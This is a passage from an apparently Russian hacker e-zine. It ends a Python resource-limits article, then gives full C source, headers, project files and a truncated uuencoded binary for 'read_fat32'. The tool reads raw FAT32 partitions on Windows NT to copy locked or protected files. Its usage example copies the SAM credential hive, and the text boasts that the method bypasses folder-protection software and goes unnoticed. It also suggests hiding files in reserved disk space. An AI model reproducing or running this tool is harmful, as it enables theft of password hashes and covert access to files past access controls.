":" + str(resource.getrlimit(resource.RLIMIT_OFILE)[1])
root@localhost limits# python createvars.py
root@localhost limits# python create1024.py
0:1024:1024
1:1024:1024
cut cut cut
1016:1024:1024
1017:1024:1024
Traceback (most recent call last):
File "create1024.py", line 10, in ?
IOError: [Errno 24] Too many open files: 'temp1018'
root@localhost limits# rm -rf temp*
root@localhost limits#
-> RLIMIT_OFILE testing dump ->
В печатной же литературе python, широко известны, к примеру, следующие
почти аналогичные фрагменты кода:
>>> import resource
>>> resource.setrlimit(resource.RLIMIT_OFILE, (4, 5))
>>> f1 = open("/dev/null")
>>> f2 = open("/dev/zero")
Traceback (most recent call last):
File "<stdin>", line 1, in ?
IOError: [Errno 24] Too many open files: '/dev/zero'
То есть при открытии файла /dev/zero возбудилось исключение IOError, так
как уже при открытых sys.stdin, sys.stdout, sys.stderr и /dev/null ( об-
щее количество уже равно четырём), /dev/zero оказался пятым по счёту.
-[ close words
Вообщем, как вы видите, модуль resource очень мощный инструмент в руках
системного программиста, возможно даже системного администратора, так как
мы не только имеем возможность получения действующих системных ограниче-
ний, но и установки таковых, что очень полезно при написании различных
системных утилит и программ администрирования.Да и вдобавок ко всему это-
му программирование с resource - просто интересный простор для собствен-
ных исследований.
-[ ps. /etc/security/limits.conf
Устанавливать лимиты на системные ресурсы можно и не только программным
путём.
В свете представленной выше информации можете ознакомиться с содержимым
стандартного файла многих linux дистрибутивов:
-> cat /etc/security/limits.conf ->
# /etc/security/limits.conf
#
#Each line describes a limit for a user in the form:
#
#<domain> <type> <item> <value>
#
#Where:
#<domain> can be:
# - an user name
# - a group name, with @group syntax
# - the wildcard *, for default entry
#
#<type> can have the two values:
# - "soft" for enforcing the soft limits
# - "hard" for enforcing hard limits
#
#<item> can be one of the following:
# - core - limits the core file size (KB)
# - data - max data size (KB)
# - fsize - maximum filesize (KB)
# - memlock - max locked-in-memory address space (KB)
# - nofile - max number of open files
# - rss - max resident set size (KB)
# - stack - max stack size (KB)
# - cpu - max CPU time (MIN)
# - nproc - max number of processes
# - as - address space limit
# - maxlogins - max number of logins for this user
# - priority - the priority to run user process with
# - locks - max number of file locks the user can hold
#
#<domain> <type> <item> <value>
#
#* soft core 0
#* hard rss 10000
#@student hard nproc 20
#@faculty soft nproc 20
#@faculty hard nproc 50
#ftp hard nproc 0
#@student - maxlogins 4
# End of file
-> cat /etc/security/limits.conf ->
-[ credits
Все credits хочется направить в адрес Романа Сузи (именно в его книге под
названием "Python", я и впервые познакомился с модулем resource, где бы-
ло дано описание "ресурных" констант и функций), а также всем своим сете-
вым друзьям и риал лайфовским )) родителям.
,?$$;$!$$$$$$$$$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
%;' `;%
Full access to the disk partitions(win)
%;. ,;%
`?$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$!$$$$'
В данной статье описано как можно получить доступ к любому файлу / папке
в WinNT, в том числе и к защищенному / открытому в эксклюзивном режиме.
Для понимания желательны хотя бы поверхностные знания работы драйверов
устройств и режима ядра Windows NT.
Широко известно,что в *nix like операционных системах уст-ва представлены
в виде обычных файлов и можно например с легкостью сделать образ дискеты
или CD, просто копируя файл соответствующего устройства.
Но не многие знают, что и в Windows есть возможность работы с устройством
как с обычным файлом, получая полный доступ к файловой системе.
В WinNT для того, чтобы управлять каким либо драйвером устройства (по су-
ти самим устройством), без разницы реального или виртуального, нужно отк-
рыть символьную ссылку на объект этого устройства.
Например: fopen("\\\\.\\A:", "rb")
откроет символьную ссылку на уст-во \Device\Floppy0, что является первым
флоппи диском.
Открыв ссылку, можно управлять устройством функцией DeviceIoControl.
Но кроме этого, и что более интересно в нашем случае, можно читать / пи-
сать / перемещать указатель файла для этого уст-ва как при работе с обыч-
ным файлом. Конечно не всем устройствам есть что читать / писать, а неко-
торым объектам вообще не соответствует никаких реальных уст-ств, т.е. же-
леза - это виртуальные устройства.
В случае же с флоппи, прочитав например первые 512 байт с уст-ва \\.\A:,
они окажутся бут сектором флоппи диска, т.е. файл имеет структуру флоппи
диска или структуру FAT12.
Разделы жесткого диска тоже представлены отдельными устройствами и имеют
свои символьные ссылки - диску С: соответствует \\.\С: и т.д.
Посмотреть какие существуют объекты устройств в системе и символьные ссы-
лки на них можно с помощью программы WinObj (www.sysinternals.com).
Для того, чтобы прочитать какой-либо файл с раздела диска нужно знать ус-
тройство файловой системы FAT32/FAT12/FAT16/NTFS - в сети достаточно до-
кументации по этой теме, кроме того есть исходники Linux.
Я написал небольшую программу read_fat32, которая читает и копирует файл
с заданного раздела FAT32. Самое интересное то,что такой способ получения
доступа к файлу/папке дает несколько огромных преимуществ по сравнению с
обычными способами:
- можно получить доступ к любому файлу, каталогу - даже защищенному спе-
циальными программами (типа FolderGuard или UniversalShield) или отк-
рытого в эксклюзивном режиме.
например, можно легко скопировать файлы кустов реестра.
- всё, что можно узнать о наших действиях, это то, что был открыт файл
\\.\X:, даже если скопирован / изменён какой - либо системный файл.
делаем с системой всё, что угодно - никто об этом не узнает.
- зная особенности файловых систем, можно например "спрятать" какой-либо
файл от доступа обычных программ и системы в неиспользуемом или заре-
зервированном пространстве раздела.
ps для открытия символьной ссылки нужно иметь соответствующие права дос-
тупа;
функция DefineDosDevice может создавать символьные ссылки на уст-тва
из ring-3.
readme
======
---< cut here >---
read_fat32 by shmel for Windows 2k/XP.
This program can read and copy some protected (hidden or unreadable)
files (for example, registry files). Also it can read files from
folders influenced by programs like FolderGuard, UniversalShield etc.
It based on some open source programs and writed for educational
purposes only.
NOTE: This prog can work ONLY WITH FAT32 partitions.
All questions mail to [email protected]
---< cut here >---
read_fat32.c
============
---< cut here >---
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include "linux_types.h"
#include "msdos_fs.h"
#include "split.h"
__u8 mbr[512];
struct fat_boot_sector fbs;
struct fat_boot_fsinfo fsinfo;
struct msdos_dir_entry dentry;
__u32 *fat32 = NULL;
__u16 sector_size;
__u16 dir_entries;
__u16 sectors;
__u32 fat32_size;
__u32 data_start;
__u16 byte_per_cluster;
__u32 next_cluster;
__u32 root_cluster;
__u8 *dir_entry = NULL;
__u64 start_seek = 0;
FILE *fd;
int read_fbs()
{
fseek(fd, 0, 0);
if(fread((__u8 *)&fbs, sizeof(fbs), 1, fd) < 0)
return -1;
return 0;
}
int read_fs_info()
{
__u64 seek = (__u64)fbs.info_sector * 512 + start_seek;
fseek(fd, seek, 0);
if(fread((__u8 *)&fsinfo, sizeof(fsinfo), 1, fd) < 0)
return -1;
return 0;
}
int read_fat32()
{
__u64 seek = (__u64)fbs.reserved * 512 + start_seek;
fat32 = (void *)malloc(fat32_size);
if(!fat32)
return -1;
fseek(fd, seek, 0);
if(fread((__u8 *)fat32, fat32_size, 1, fd) < 0)
return -1;
return 0;
}
int read_cluster(__u32 cluster_num, __u8 *tmp_buff)
{
__u64 seek = (__u64)(byte_per_cluster) * (cluster_num - 2) + data_start + start_seek;
fsetpos(fd, &seek);
return fread(tmp_buff, byte_per_cluster, 1, fd);
}
int read_directory(__u32 start_cluster)
{
int i = 2;
__u32 next_cluster;
if(read_cluster(start_cluster, dir_entry) < 0)
return -1;
next_cluster = fat32[start_cluster];
if ((next_cluster == EOF_FAT32) || (next_cluster == 0xFFFFFF8))
return 0;
for(; ;i++)
{
start_cluster = next_cluster;
dir_entry = (__u8 *)realloc(dir_entry, i * byte_per_cluster);
if(!dir_entry)
return -1;
if(read_cluster(start_cluster, (dir_entry + (i - 1) * byte_per_cluster)) < 0)
return -1;
next_cluster = fat32[start_cluster];
if((next_cluster == EOF_FAT32) || (next_cluster == 0xFFFFFF8))
return 0;
}
return 0;
}
int get_dentry(struct split_name *sn)
{
int i = 0;
for(;;i++)
{
memcpy((void *)&dentry, dir_entry + i * sizeof(dentry), sizeof(dentry));
if(!(memcmp(dentry.name, sn->name, sn->name_len)) && !(memcmp(dentry.ext, sn->ext, sn->ext_len)))
break;
if(!dentry.name[0])
return -1;
}
return 0;
}
int fat32_read_file(__u8 *full_path, __u8 *out_file)
{
struct split_name sn;
__u8 tmp_name_buff[13];
int i = 1, n, k;
FILE *fout;
__u32 start_cluster, next_cluster;
__u8 *tmp_buff;
memset(tmp_name_buff, 0, SHORT_NAME);
memset((void *)&sn, 0, sizeof(struct split_name));
if(full_path[0] != '/')
return -1;
if(read_fbs() < 0)
return -1;
sector_size = fbs.sector_size;
dir_entries = fbs.dir_entries;
sectors = fbs.sectors;
if(read_fs_info() < 0)
return -1;
fat32_size = fbs.fat32_length * 512;
data_start = 512 * fbs.reserved + fat32_size * 2;
byte_per_cluster = fbs.sec_per_clus * fbs.sector_size;
root_cluster = fbs.root_cluster;
if(read_fat32() < 0)
return -1;
dir_entry = (__u8 *)malloc(byte_per_cluster);
if(!dir_entry)
return -1;
if(read_directory(root_cluster) < 0)
return -1;
while(1)
{
memset(tmp_name_buff, 0, SHORT_NAME);
memset((void *)&sn, 0, sizeof(struct split_name));
for(n = 0 ; n < SHORT_NAME; n++, i++)
{
tmp_name_buff[n] = full_path[i];
if((tmp_name_buff[n] == '/') || (tmp_name_buff[n] == '\0'))
{
i++;
break;
}
}
tmp_name_buff[n] = '\0';
if(split_name(tmp_name_buff, &sn) < 0)
{
printf("not valid name\n");
return -1;
}
if(get_dentry(&sn) < 0)
{
printf("No such file!\n");
return -1;
}
start_cluster = (((__u32)dentry.starthi << 16) | dentry.start);
if(dentry.attr & 0x10)
{
if(read_directory(start_cluster) < 0)
return -1;
continue;
}
if(dentry.attr & 0x20)
{
tmp_buff = (__u8 *)malloc(byte_per_cluster);
fout = fopen(out_file, "wb");
if(!fout)
{
perror("open outfile");
return -1;
}
printf("file`s first cluster - 0x%X .. ", start_cluster);
n = dentry.size / byte_per_cluster + 1;
for(i = 0; i <= n; i++)
{
memset(tmp_buff, 0, byte_per_cluster);
if(!read_cluster(start_cluster, tmp_buff))
return -1;
k = dentry.size - (i + 1) * byte_per_cluster;
if(fwrite(tmp_buff, k > 0 ? byte_per_cluster:(byte_per_cluster + k), 1, fout) < 0)
{
perror("write");
return -1;
}
next_cluster = fat32[start_cluster];
if(next_cluster == EOF_FAT32)
{
free(tmp_buff);
fclose(fout);
return ++i;
}
start_cluster = next_cluster;
}
free(tmp_buff);
fclose(fout);
return i;
}
}
}
usage()
{
printf("read_fat32 -d <drive letter> -i <path to protected file> -o <output file name>\n");
printf("example:\nread_fat32 -d c: -i /windows/system32/config/sam -o c:\\sam\n");
}
main(int argc, char **argv)
{
int num = 0;
char in_path[260], out_path[260], drive[3], drive0[8] = "\\\\.\\";
if (argc-- < 7)
{
usage();
return -1;
}
while(argc)
switch(argv[argc--][1])
{
case 'i':
strncpy(in_path, argv[argc + 2], 260);
break;
case 'o':
strncpy(out_path, argv[argc + 2], 260);
break;
case 'd':
strncpy(drive, argv[argc + 2], 3);
break;
default:
break;
}
strcat(drive0, drive);
fd = fopen(drive0, "rb");
if (!fd)
{
perror("open file");
return -1;
}
num = fat32_read_file(in_path, out_path);
if(num < 0)
perror("fat32_read_file");
else
printf("Read %d clusters\n", num);
fclose(fd);
return 0;
}
---< cut here >---
split.c
=======
---< cut here >---
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include <memory.h>
#include "split.h"
int get_name_len(__u8 *full_name)
{
int len = 0;
for(; *full_name++ != '\0'; len++);
return len;
}
int get_name(__u8 *full_name, __u8 *name, int len)
{
int i = 0, j;
for(; i < len; i++)
{
if(full_name[i] == 0x2E)
{
if((len - (i + 1)) > 3)
return -1;
else
break;
}
}
if(i > 8)
return -1;
memcpy(name, full_name, i);
j = i;
if (j < 8)
while (j < 8)
{
name[j++] = ' ';
}
return i;
}
int get_ext(__u8 *full_name, __u8 *ext, int len)
{
if(*full_name == 0x2E)
memcpy(ext, full_name + 1, len);
}
int check_name(__u8 *name, int length)
{
int i, n = 0;
__u8 forb_symb[] = { 0x22, 0x2A, 0x2B, 0x2C, \
0x2E, 0x2F, 0x3A, 0x3B, \
0x3C, 0x3D, 0x3E, 0x3F, \
0x5B, 0x5C, 0x5D, 0x7C };
for(; n < length; n++) {
if(name[n] < 0x20) return -1;
for(i = 0; i < 16; i++) if(name[n] == forb_symb[i]) return -1;
}
return 0;
}
void upcase(__u8 *name, int len)
{
int i = 0;
for(; i < len; i++)
if((name[i] >= 0x61) && (name[i] <= 0x7A)) name[i] -= 0x20;
return;
}
int split_name(__u8 *full_name, struct split_name *sn)
{
int length = 0;
length = get_name_len(full_name);
if(length > SHORT_NAME)
return -1;
sn->name_len = get_name(full_name, sn->name, length);
if(sn->name_len < 0)
return -1;
if(check_name(sn->name, sn->name_len) < 0)
return -1;
if(length > sn->name_len)
{
sn->ext_len = length - sn->name_len - 1;
if(!sn->ext_len) return -1;
if(sn->ext_len)
{
get_ext((full_name + (sn->name_len)), sn->ext, sn->ext_len);
if(check_name(sn->ext, sn->ext_len) < 0)
return -1;
}
}
else
{
memcpy(sn->ext, " ", 4);
sn->ext_len = 3;
}
upcase(sn->name, sn->name_len);
if(sn->ext_len)
upcase(sn->ext, sn->ext_len);
sn->name_len = 8;
return 0;
}
---< cut here >---
linux_types.h
=============
---< cut here >---
typedef unsigned char __u8;
typedef unsigned short __u16;
typedef unsigned int __u32;
typedef unsigned __int64 __u64;
---< cut here >---
msdos_fs.h
==========
---< cut here >---
#ifndef _LINUX_MSDOS_FS_H
#define _LINUX_MSDOS_FS_H
#define SECTOR_SIZE 512 /* sector size (bytes) */
#define SECTOR_BITS 9 /* log2(SECTOR_SIZE) */
#define MSDOS_DPB (MSDOS_DPS) /* dir entries per block */
#define MSDOS_DPB_BITS 4 /* log2(MSDOS_DPB) */
#define MSDOS_DPS (SECTOR_SIZE / sizeof(struct msdos_dir_entry))
#define MSDOS_DPS_BITS 4 /* log2(MSDOS_DPS) */
#define MSDOS_ROOT_INO 1 /* == MINIX_ROOT_INO */
#define MSDOS_DIR_BITS 5 /* log2(sizeof(struct msdos_dir_entry)) */
/* directory limit */
#define FAT_MAX_DIR_ENTRIES (65536)
#define FAT_MAX_DIR_SIZE (FAT_MAX_DIR_ENTRIES << MSDOS_DIR_BITS)
#define MSDOS_SUPER_MAGIC 0x4d44 /* MD */
#define ATTR_NONE 0 /* no attribute bits */
#define ATTR_RO 1 /* read-only */
#define ATTR_HIDDEN 2 /* hidden */
#define ATTR_SYS 4 /* system */
#define ATTR_VOLUME 8 /* volume label */
#define ATTR_DIR 16 /* directory */
#define ATTR_ARCH 32 /* archived */
#define ATTR_UNUSED (ATTR_VOLUME | ATTR_ARCH | ATTR_SYS | ATTR_HIDDEN)
/* attribute bits that are copied "as is" */
#define ATTR_EXT (ATTR_RO | ATTR_HIDDEN | ATTR_SYS | ATTR_VOLUME)
/* bits that are used by the Windows 95/Windows NT extended FAT */
#define CASE_LOWER_BASE 8 /* base is lower case */
#define CASE_LOWER_EXT 16 /* extension is lower case */
#define DELETED_FLAG 0xe5 /* marks file as deleted when in name[0] */
#define IS_FREE(n) (!*(n) || *(n) == DELETED_FLAG)
#define MSDOS_VALID_MODE (S_IFREG | S_IFDIR | S_IRWXU | S_IRWXG | S_IRWXO)
/* valid file mode bits */
#define MSDOS_NAME 11 /* maximum name length */
#define MSDOS_LONGNAME 256 /* maximum name length */
#define MSDOS_SLOTS 21 /* max # of slots needed for short and long names */
#define MSDOS_DOT ". " /* ".", padded to MSDOS_NAME chars */
#define MSDOS_DOTDOT ".. " /* "..", padded to MSDOS_NAME chars */
#define MSDOS_FAT12 4084 /* maximum number of clusters in a 12 bit FAT */
/* media of boot sector */
#define FAT_VALID_MEDIA(x) ((0xF8 <= (x) && (x) <= 0xFF) || (x) == 0xF0)
#define FAT_FIRST_ENT(s, x) ((MSDOS_SB(s)->fat_bits == 32 ? 0x0FFFFF00 : \
MSDOS_SB(s)->fat_bits == 16 ? 0xFF00 : 0xF00) | (x))
/* bad cluster mark */
#define BAD_FAT12 0xFF7
#define BAD_FAT16 0xFFF7
#define BAD_FAT32 0xFFFFFF7
#define BAD_FAT(s) (MSDOS_SB(s)->fat_bits == 32 ? BAD_FAT32 : \
MSDOS_SB(s)->fat_bits == 16 ? BAD_FAT16 : BAD_FAT12)
/* standard EOF */
#define EOF_FAT12 0xFFF
#define EOF_FAT16 0xFFFF
#define EOF_FAT32 0xFFFFFFF
#define EOF_FAT(s) (MSDOS_SB(s)->fat_bits == 32 ? EOF_FAT32 : \
MSDOS_SB(s)->fat_bits == 16 ? EOF_FAT16 : EOF_FAT12)
#define FAT_ENT_FREE (0)
#define FAT_ENT_BAD (BAD_FAT32)
#define FAT_ENT_EOF (EOF_FAT32)
#define FAT_FSINFO_SIG1 0x41615252
#define FAT_FSINFO_SIG2 0x61417272
#define IS_FSINFO(x) (CF_LE_L((x)->signature1) == FAT_FSINFO_SIG1 \
&& CF_LE_L((x)->signature2) == FAT_FSINFO_SIG2)
/*
* vfat shortname flags
*/
#define VFAT_SFN_DISPLAY_LOWER 0x0001 /* convert to lowercase for display */
#define VFAT_SFN_DISPLAY_WIN95 0x0002 /* emulate win95 rule for display */
#define VFAT_SFN_DISPLAY_WINNT 0x0004 /* emulate winnt rule for display */
#define VFAT_SFN_CREATE_WIN95 0x0100 /* emulate win95 rule for create */
#define VFAT_SFN_CREATE_WINNT 0x0200 /* emulate winnt rule for create */
/*
* Conversion from and to little-endian byte order. (no-op on i386/i486)
*
* Naming: Ca_b_c, where a: F = from, T = to, b: LE = little-endian,
* BE = big-endian, c: W = word (16 bits), L = longword (32 bits)
*/
#define CF_LE_W(v) le16_to_cpu(v)
#define CF_LE_L(v) le32_to_cpu(v)
#define CT_LE_W(v) cpu_to_le16(v)
#define CT_LE_L(v) cpu_to_le32(v)
#include <pshpack1.h>
struct fat_boot_sector {
__u8 ignored[3]; /* Boot strap short or near jump */
__u8 system_id[8]; /* Name - can be used to special case
partition manager volumes */
__u16 sector_size; /* bytes per logical sector */
__u8 sec_per_clus; /* sectors/cluster */
__u16 reserved; /* reserved sectors */
__u8 fats; /* number of FATs */
__u16 dir_entries; /* root directory entries */
__u16 sectors; /* number of sectors */
__u8 media; /* media code */
__u16 fat_length; /* sectors/FAT */
__u16 secs_track; /* sectors per track */
__u16 heads; /* number of heads */
__u32 hidden; /* hidden sectors (unused) */
__u32 total_sect; /* number of sectors (if sectors == 0) */
/* The following fields are only used by FAT32 */
__u32 fat32_length; /* sectors/FAT */
__u16 flags; /* bit 8: fat mirroring, low 4: active fat */
__u8 version[2]; /* major, minor filesystem version */
__u32 root_cluster; /* first cluster in root directory */
__u16 info_sector; /* filesystem info sector */
__u16 backup_boot; /* backup boot sector */
__u16 reserved2[6]; /* Unused */
};
struct fat_boot_fsinfo {
__u32 signature1; /* 0x41615252L */
__u32 reserved1[120]; /* Nothing as far as I can tell */
__u32 signature2; /* 0x61417272L */
__u32 free_clusters; /* Free cluster count. -1 if unknown */
__u32 next_cluster; /* Most recently allocated cluster */
__u32 reserved2[4];
};
struct msdos_dir_entry {
__u8 name[8],ext[3]; /* name and extension */
__u8 attr; /* attribute bits */
__u8 lcase; /* Case for base and extension */
__u8 ctime_ms; /* Creation time, milliseconds */
__u16 ctime; /* Creation time */
__u16 cdate; /* Creation date */
__u16 adate; /* Last access date */
__u16 starthi; /* High 16 bits of cluster in FAT32 */
__u16 time,date,start;/* time, date and first cluster */
__u32 size; /* file size (in bytes) */
};
/* Up to 13 characters of the name */
struct msdos_dir_slot {
__u8 id; /* sequence number for slot */
__u8 name0_4[10]; /* first 5 characters in name */
__u8 attr; /* attribute byte */
__u8 reserved; /* always 0 */
__u8 alias_checksum; /* checksum for 8.3 alias */
__u8 name5_10[12]; /* 6 more characters in name */
__u16 start; /* starting cluster number, 0 in long slots */
__u8 name11_12[4]; /* last 2 characters in name */
};
//struct vfat_slot_info {
// int long_slots; /* number of long slots in filename */
// loff_t longname_offset; /* dir offset for longname start */
// loff_t i_pos; /* on-disk position of directory entry */
//};
#include <poppack.h>
/* Convert attribute bits and a mask to the UNIX mode. */
#define MSDOS_MKMODE(a,m) (m & (a & ATTR_RO ? S_IRUGO|S_IXUGO : S_IRWXUGO))
/* Convert the UNIX mode to MS-DOS attribute bits. */
#define MSDOS_MKATTR(m) ((m & S_IWUGO) ? ATTR_NONE : ATTR_RO)
#endif
---< cut here >---
split.h
=======
---< cut here >---
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "linux_types.h"
#define SHORT_NAME 13
#include <pshpack1.h>
struct split_name
{
__u8 name[9];
__u8 ext[4];
int name_len, ext_len;
};
#include <poppack.h>
---< cut here >---
read_fat32.sln
==============
---< cut here >---
Microsoft Visual Studio Solution File, Format Version 7.00
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "read_fat32", "read_fat32.vcproj", "{DCDA8E00-73AA-44D5-A216-F322A1BC12E7}"
EndProject
Global
GlobalSection(SolutionConfiguration) = preSolution
ConfigName.0 = Debug
ConfigName.1 = Release
EndGlobalSection
GlobalSection(ProjectDependencies) = postSolution
EndGlobalSection
GlobalSection(ProjectConfiguration) = postSolution
{DCDA8E00-73AA-44D5-A216-F322A1BC12E7}.Debug.ActiveCfg = Debug|Win32
{DCDA8E00-73AA-44D5-A216-F322A1BC12E7}.Debug.Build.0 = Debug|Win32
{DCDA8E00-73AA-44D5-A216-F322A1BC12E7}.Release.ActiveCfg = Release|Win32
{DCDA8E00-73AA-44D5-A216-F322A1BC12E7}.Release.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
EndGlobalSection
GlobalSection(ExtensibilityAddIns) = postSolution
EndGlobalSection
EndGlobal
---< cut here >---
read_fat32.vcproj
=================
---< cut here >---
<?xml version="1.0" encoding = "windows-1251"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="7.00"
Name="read_fat32"
ProjectGUID="{DCDA8E00-73AA-44D5-A216-F322A1BC12E7}"
Keyword="Win32Proj">
<Platforms>
<Platform
Name="Win32"/>
</Platforms>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="Debug"
IntermediateDirectory="Debug"
ConfigurationType="1"
CharacterSet="2">
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
MinimalRebuild="TRUE"
BasicRuntimeChecks="3"
RuntimeLibrary="5"
StructMemberAlignment="1"
UsePrecompiledHeader="0"
WarningLevel="3"
Detect64BitPortabilityProblems="TRUE"
DebugInformationFormat="4"/>
<Tool
Name="VCCustomBuildTool"/>
<Tool
Name="VCLinkerTool"
OutputFile="$(OutDir)/read_fat32.exe"
LinkIncremental="2"
GenerateDebugInformation="TRUE"
ProgramDatabaseFile="$(OutDir)/read_fat32.pdb"
SubSystem="1"
TargetMachine="1"/>
<Tool
Name="VCMIDLTool"/>
<Tool
Name="VCPostBuildEventTool"/>
<Tool
Name="VCPreBuildEventTool"/>
<Tool
Name="VCPreLinkEventTool"/>
<Tool
Name="VCResourceCompilerTool"/>
<Tool
Name="VCWebServiceProxyGeneratorTool"/>
<Tool
Name="VCWebDeploymentTool"/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="Release"
IntermediateDirectory="Release"
ConfigurationType="1"
CharacterSet="2">
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
OmitFramePointers="TRUE"
PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
StringPooling="TRUE"
RuntimeLibrary="4"
StructMemberAlignment="1"
EnableFunctionLevelLinking="TRUE"
UsePrecompiledHeader="0"
WarningLevel="3"
Detect64BitPortabilityProblems="TRUE"
DebugInformationFormat="3"/>
<Tool
Name="VCCustomBuildTool"/>
<Tool
Name="VCLinkerTool"
IgnoreImportLibrary="FALSE"
OutputFile="$(OutDir)/read_fat32.exe"
LinkIncremental="1"
GenerateDebugInformation="TRUE"
SubSystem="1"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"/>
<Tool
Name="VCMIDLTool"/>
<Tool
Name="VCPostBuildEventTool"/>
<Tool
Name="VCPreBuildEventTool"/>
<Tool
Name="VCPreLinkEventTool"/>
<Tool
Name="VCResourceCompilerTool"/>
<Tool
Name="VCWebServiceProxyGeneratorTool"/>
<Tool
Name="VCWebDeploymentTool"/>
</Configuration>
</Configurations>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
<File
RelativePath="read_fat32.c">
</File>
<File
RelativePath="split.c">
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc">
<File
RelativePath="linux_types.h">
</File>
<File
RelativePath="msdos_fs.h">
</File>
<File
RelativePath="split.h">
</File>
</Filter>
<Filter
Name="Resource Files"
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>
---< cut here >---
read_fat32.exe
==============
---< cut here >---
begin 644 read_fat32.exe
M35J0``,````$````__\``+@`````````0```````````````````````````
M````````````````````V`````X?N@X`M`G-(;@!3,TA5&AI<R!P<F]G<F%M
M(&-A;FYO="!B92!R=6X@:6X@1$]3(&UO9&4N#0T*)``````````5PQ`^4:)^
M;5&B?FU1HGYMJX9C;5.B?FVKACYM7:)^;:N!9VU2HGYM4:)_;6:B?FVKAF)M
M&J)^;:N&0VU0HGYM4FEC:%&B?FT`````````````````````4$4``$P!`P!Y
MXSI"``````````#@``\!"P$'``!H````-@```````"DB````$````(``````
M0```$`````(```0`````````!```````````P`````0````````#```````0
M```0`````!```!`````````0``````````````!LD```*```````````````
M````````````````````````````````X(```!P`````````````````````
M`````````````````````````````````````(```-P`````````````````
M```````````````````N=&5X=````)QG````$````&@````$````````````
M```````@``!@+G)D871A```N%0```(`````6````;```````````````````
M0```0"YD871A````P!\```"@````"````((``````````````````$```,``
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````````*%DJ4``:@!J`%#H
M6@L``(L-9*E``%%J`6I`:,"I0`#H7`H``(/$'#/`PY"0D)"0D`^W!?"I0`"+
M%8BG0`"+#62I0`#!X`EJ``/"4%'H&`L``(L59*E``%)J`6@``@``:`"J0`#H
M%PH``(/$'#/`PY"#[`@/MP7.J4``5FH`F6@``@``4E#H]@L``(L-B*=``(OP
MH8RG0``#\1/0H:2I0`!0B50D#.B_"P``@\0$A<"C@*=``'4(@\C_7H/$",.+
M#62I0`!J`%91Z)P*``"+%62I0`"AI*E``(L-@*=``%)J`5!1Z)@)``"#Q!PS
MP%Z#Q`C#D)"0D)"0D)"0D)"0D)"#[`B+1"0,C4C^#[<%"*Q``%:94E!J`%'H
M8PL``(L-H*E``#/V`\&+#8RG0``3U@,%B*=``!/1B50D"(U4)`2)1"0$H62I
M0`!24.AE"P``BPUDJ4``#[<5"*Q``(M$)!Q1:@%24.@6"0``@\087H/$",.0
MD)"0D)"0D)"0D)"0D*&$IT``5HMT)`A74%:_`@```.AI____@\0(A<`/C*<`
M``"+#8"G0`"+-+&!_O___P\/A)@```"!_OC__P\/A(P````/MQ4(K$``H82G
M0`#1XE)0Z/0*``"#Q`B%P*.$IT``=&7K"HVD)`````"-20`/MQ4(K$``C4__
M#Z_*`\A15NCZ_O__@\0(A<!\/*&`IT``BS2P@?[___\/=#*!_OC__P]T*@^W
M#0BL0`"+%82G0`!'#Z_/45+HCPH``(/$"(7`HX2G0`!UIU^#R/]>PU\SP%[#
MD)"0D)"0D)"0D)"0BT0D!(L5A*=``%-65XU)`+D(````B_*_@*E``/.EBT@-
MB_B^@*E``#/;\Z9U$8M($8UX";Z(J4``,]OSIG0/B@V`J4``A,ET"X/"(.O"
M7UXSP%O#7UZ#R/];PY"0D)"0@^PPH4"@0``S1"0P,\F)1"0L,\")3"04B40D
M!(E,)!B)1"0(4XM<)#B)1"00B4PD((A$)!2`.R^)3"0DB4PD*%>_`0```(A,
M)#!T%U^X_____UN+3"0L,TPD,(/$,.FK#0``Z-C\__^%P'T57X/(_UN+3"0L
M,TPD,(/$,.F-#0``9HL5RZE``&:AT:E``&:+#=.I0`!FB14*K$``9J,$K$``
M9HD-!JQ``.C"_/__A<!\N@^W%<ZI0`"AY*E``(L-[*E``,'@"<'B"`/0HZ2I
M0`!F#[8%S:E``&8/KP7+J4``T>*)%:"I0`!FHPBL0`")#0"L0`#HMOS__X7`
M#XQJ____#[<5"*Q``%+HF@@``(/$!(7`HX2G0``/A$W___^A`*Q``%#HEOW_
